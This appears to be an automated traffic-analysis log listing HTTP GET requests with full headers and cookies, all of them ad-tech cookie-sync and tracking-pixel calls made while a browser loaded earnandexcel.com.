Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MzI1MCZ0bD0xMjk2MDA=&piggybackCookie=d3c52a71-4626-42f8-b765-7c4caff9dd34&gdpr=0&gdpr_consent= HTTP/1.1Host: simage2.pubmatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; chkChromeAb67Sec=1; DPSync3=1714003200%3A201_263%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713398400%3A223%7C1714003200%3A71_250_104_3_220_13_54_231_21_166_165; KRTBCOOKIE_80=22987-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23025-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23386-CAESENQ6H1ciB1fBhQrozbvvrnY; KRTBCOOKIE_57=22776-203013809340254297&KRTB&23339-203013809340254297; KRTBCOOKIE_148=19421-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23486-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23489-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23539-uid:FF4FA33AD55F4AFDAF353CD71FB72BED; SPugT=1712870822; KRTBCOOKIE_1003=22761-3c48d748-f84a-11ee-8242-bd2b605e64cf&KRTB&23275-3c48d748-f84a-11ee-8242-bd2b605e64cf; KRTBCOOKIE_377=6810-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22918-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22926-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&23031-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; KRTBCOOKIE_279=22890-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23011-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23355-d3c52a71-4626-42f8-b765-7c4caff9dd34; PugT=1712870821
Source: global traffic	HTTP traffic detected: GET /profiles_engine/ProfilesEngineServlet?at=20&mi=10&secure=1&dpi=396660830&iiqidtype=2&iiqpcid=001fa0cd-4d4e-4d5f-bf82-4211a8a61316&iiqpciddate=1712870818876&tsrnd=660_1712870818889&jsver=5.086&uh=%7B%220%22%3A%22%5C%22Google%20Chrome%5C%22%3Bv%3D%5C%22117%5C%22%2C%20%5C%22Not%3BA%3DBrand%5C%22%3Bv%3D%5C%228%5C%22%2C%20%5C%22Chromium%5C%22%3Bv%3D%5C%22117%5C%22%22%2C%221%22%3A%22%3F0%22%2C%222%22%3A%22%5C%22Windows%5C%22%22%2C%223%22%3A%22%5C%22x86%5C%22%22%2C%224%22%3A%22%5C%2264%5C%22%22%2C%226%22%3A%22%5C%2210.0.0%5C%22%22%2C%227%22%3A%22%3F0%22%2C%228%22%3A%22%5C%22Google%20Chrome%5C%22%3Bv%3D%5C%22117.0.5938.149%5C%22%2C%20%5C%22Not%3BA%3DBrand%5C%22%3Bv%3D%5C%228.0.0.0%5C%22%2C%20%5C%22Chromium%5C%22%3Bv%3D%5C%22117.0.5938.149%5C%22%22%7D&ckls=true&ci=fqopx3euZ0&nc=false&trid=1978743940 HTTP/1.1Host: sync1.intentiq.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IQver=1.9; intentIQ=fqopx3euZ0
Source: global traffic	HTTP traffic detected: GET /dmp/pixelSync?nid=3&gdpr=0&gdpr_consent= HTTP/1.1Host: pixel-sync.sitescout.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sn.ashx?&gdpr=0&gdpr_consent= HTTP/1.1Host: pmp.mxptint.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /w/1.0/cm?id=dc2068a3-fa3d-4b5f-8a61-3d5a1a58fc05&ph=21f03281-5b83-4670-a0e0-dc15f7542014&r=https%3A%2F%2Fce.lijit.com%2Fmerge%3Fpid%3D76%263pid%3D%7BOPENX_ID%7D&gdpr=0&gdpr_consent= HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ce.lijit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pd=v2\|1712870819\|vMbwgag2gKhEvPkWgyiK; i=46e94f3a-bf92-4da1-a008-76f8bf99cb15\|1712870820; univ_id=537072971\|84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19\|1712870822968334
Source: global traffic	HTTP traffic detected: GET /match?bidder_id=99&external_user_id=y-dtW6JvRE2uEAdSwHz2TdJClVA1i72bFF%7EA&ts=1712870823&gdpr_58=&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1Host: events-ssc.33across.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hde.tynt.com/deb/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X&b=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: check=true; 33x_ps=u%3D212556691801834%3As1%3D1712870819534%3Ats%3D1712870819534
Source: global traffic	HTTP traffic detected: GET /pixel/p-5aWVS_roA1dVM.gif?idmatch=0&gdpr=0&gdpr_consent= HTTP/1.1Host: cms.quantserve.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel/p-CXt61zNBpKUt1.gif?idmatch=0&gdpr=0&gdpr_consent= HTTP/1.1Host: cms.quantserve.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ce.lijit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usersync/redirect?partner=improvedigital&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=8641df54-0b93-402c-9337-7ec42bdf44ca HTTP/1.1Host: exchange.mediavine.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537072991&val=CAESEGBawKPr45rbp_xkzYZlz1Y&google_cver=1 HTTP/1.1Host: us-u.openx.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pd=v2\|1712870819\|vMbwgag2gKhEvPkWgyiK; i=46e94f3a-bf92-4da1-a008-76f8bf99cb15\|1712870820; univ_id=537072971\|84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19\|1712870822968334
Source: global traffic	HTTP traffic detected: GET /dcm?pid=50cd21b7-d8d7-4615-9fb9-a2be831f8488&id= HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-privacy=0; ad-id=A2D_XDx3tU5MhPWHEz8pwhw
Source: global traffic	HTTP traffic detected: GET /cs/27053452/beacon.js HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /syn?supply=58191281-0593-4689-bdaf-c7bf6638853d&uid=[insert_user_id]&redirect=[your_redirect_url_including_xxEMODO_IDxx_token]&gdpr=0&gdpr_consent= HTTP/1.1Host: openrtb-us-east-1.axonix.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ce.lijit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usersync/redirect?partner=kargo&partnerId=76e6eb3f-3d6a-4a1c-9c6e-d9faf122b0a2&s2sVersion=production&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741 HTTP/1.1Host: exchange.mediavine.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
Source: global traffic	HTTP traffic detected: GET /dsp/google/cookiematch/beacon?gdpr=0&gdpr_consent= HTTP/1.1Host: ap.lijit.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ce.lijit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ljt_reader=IebHALZHwpD5VNKxRXavSHiL; ljtrtbexp=eJxdkLcVBEEIQ3uZeAO82dbuXe%2FrJkHhFyAEv9W5Tk42KjLRY8nEiMlMgoJOIRkbwMIUGyBCfgNq6fFw9w4p7SlbKTCBJUWwtKEOIcqAHRj8Bea9dsJbeusBnHDTeOP%2FAkTSTAk%3D
Source: global traffic	HTTP traffic detected: GET /sync?nid=11&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.srv.stackadapt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: sa-user-id=s%3A0-b894bcc3-3b2f-50d3-402d-2b181c031c60.IqX9DPWbYeM51NyfkMcjjPPpKCEvMvvZ80%2F%2FBH8jmOg; sa-user-id=s%3A0-b894bcc3-3b2f-50d3-402d-2b181c031c60.IqX9DPWbYeM51NyfkMcjjPPpKCEvMvvZ80%2F%2FBH8jmOg; sa-user-id-v2=s%3AuJS8wzsvUNNALSsYHAMcYJySJMU.OEN4PZJfBCnNYtDFpqyeG12oeM4B4YyI34OvKrv3ZaE; sa-user-id-v2=s%3AuJS8wzsvUNNALSsYHAMcYJySJMU.OEN4PZJfBCnNYtDFpqyeG12oeM4B4YyI34OvKrv3ZaE; sa-user-id-v3=s%3AAQAKIFj8IrAFxc9JF5p99v-qPVGDNL9R0rGaVsC-1Ad4XS0GEHwYBCCkq-GwBjABOgT87-jmQgRiGLKP.YtACDgvMQsIU0b%2FozJQ8M9muxDUY7dXQvzi65ez2FbA; sa-user-id-v3=s%3AAQAKIFj8IrAFxc9JF5p99v-qPVGDNL9R0rGaVsC-1Ad4XS0GEHwYBCCkq-GwBjABOgT87-jmQgRiGLKP.YtACDgvMQsIU0b%2FozJQ8M9muxDUY7dXQvzi65ez2FbA
Source: global traffic	HTTP traffic detected: GET /usersync/redirect?partner=verizon&partnerId=y-UQyiIh9E2uJvF5IoIp_LflURMfQTltVc~A&gpp=DBABzw~1---~BqgAAAAAAgA&gpp_sid=-1 HTTP/1.1Host: exchange.mediavine.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
Source: global traffic	HTTP traffic detected: GET /usersync?b=bsw&i=4a756380-b7e0-40d8-87fd-f9b0074cc705&gdpr=&gdpr_consent=&us_privacy= HTTP/1.1Host: usersync.gumgum.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
Source: global traffic	HTTP traffic detected: GET /usersync/redirect?partner=pubmatic&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=25F9549E-136A-47E9-9171-DA44C0E0D5E3 HTTP/1.1Host: exchange.mediavine.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
Source: global traffic	HTTP traffic detected: GET /mediavine-prod/recomms/users/fc09ead0-b52e-43d4-b0cf-67a3b0dd234d/items/?frontend_timestamp=1712870820&frontend_sign=128e542a00131568b6cd8e63446b01a96c6a2411 HTTP/1.1Host: client-rapi-mediavine.recombee.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cm-notify?pi=sovrn&gdpr=0&gdpr_consent= HTTP/1.1Host: creativecdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ce.lijit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: g=ouNOiU9ACIjtQdGvKF3V_1712870820978; ts=1712870820
Source: global traffic	HTTP traffic detected: GET /track/cmf/rubicon HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; TDCPM=CAESFwoIcHVibWF0aWMSCwjEjpiMhZ7tPBAFGAEgASgCMgsI1M3-xpue7TwQBTgBWgcxbWFobjE0YAI.
Source: global traffic	HTTP traffic detected: GET /sync?dsp_id=119&user_id=1992631731613135717&expires=30&ssp=the33across HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hde.tynt.com/deb/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X&b=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=4a756380-b7e0-40d8-87fd-f9b0074cc705; c=1712870820; tuuid_lu=1712870821
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=540245193&val=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent= HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pd=v2\|1712870819\|vMbwgag2gKhEvPkWgyiK; i=46e94f3a-bf92-4da1-a008-76f8bf99cb15\|1712870820; univ_id=537072971\|84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19\|1712870822968334
Source: global traffic	HTTP traffic detected: GET /ping_match.gif?ei=PUBMATIC&rurl=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzQmdGw9MTI5NjAw&piggybackCookie=uid:_wfivefivec_&gdpr=0&gdpr_consent= HTTP/1.1Host: pm.w55c.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/v1/dsync/Martin?exid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent= HTTP/1.1Host: crb.kargo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ktcid=12d186d5-c065-0a8a-5399-4c540288d0a1
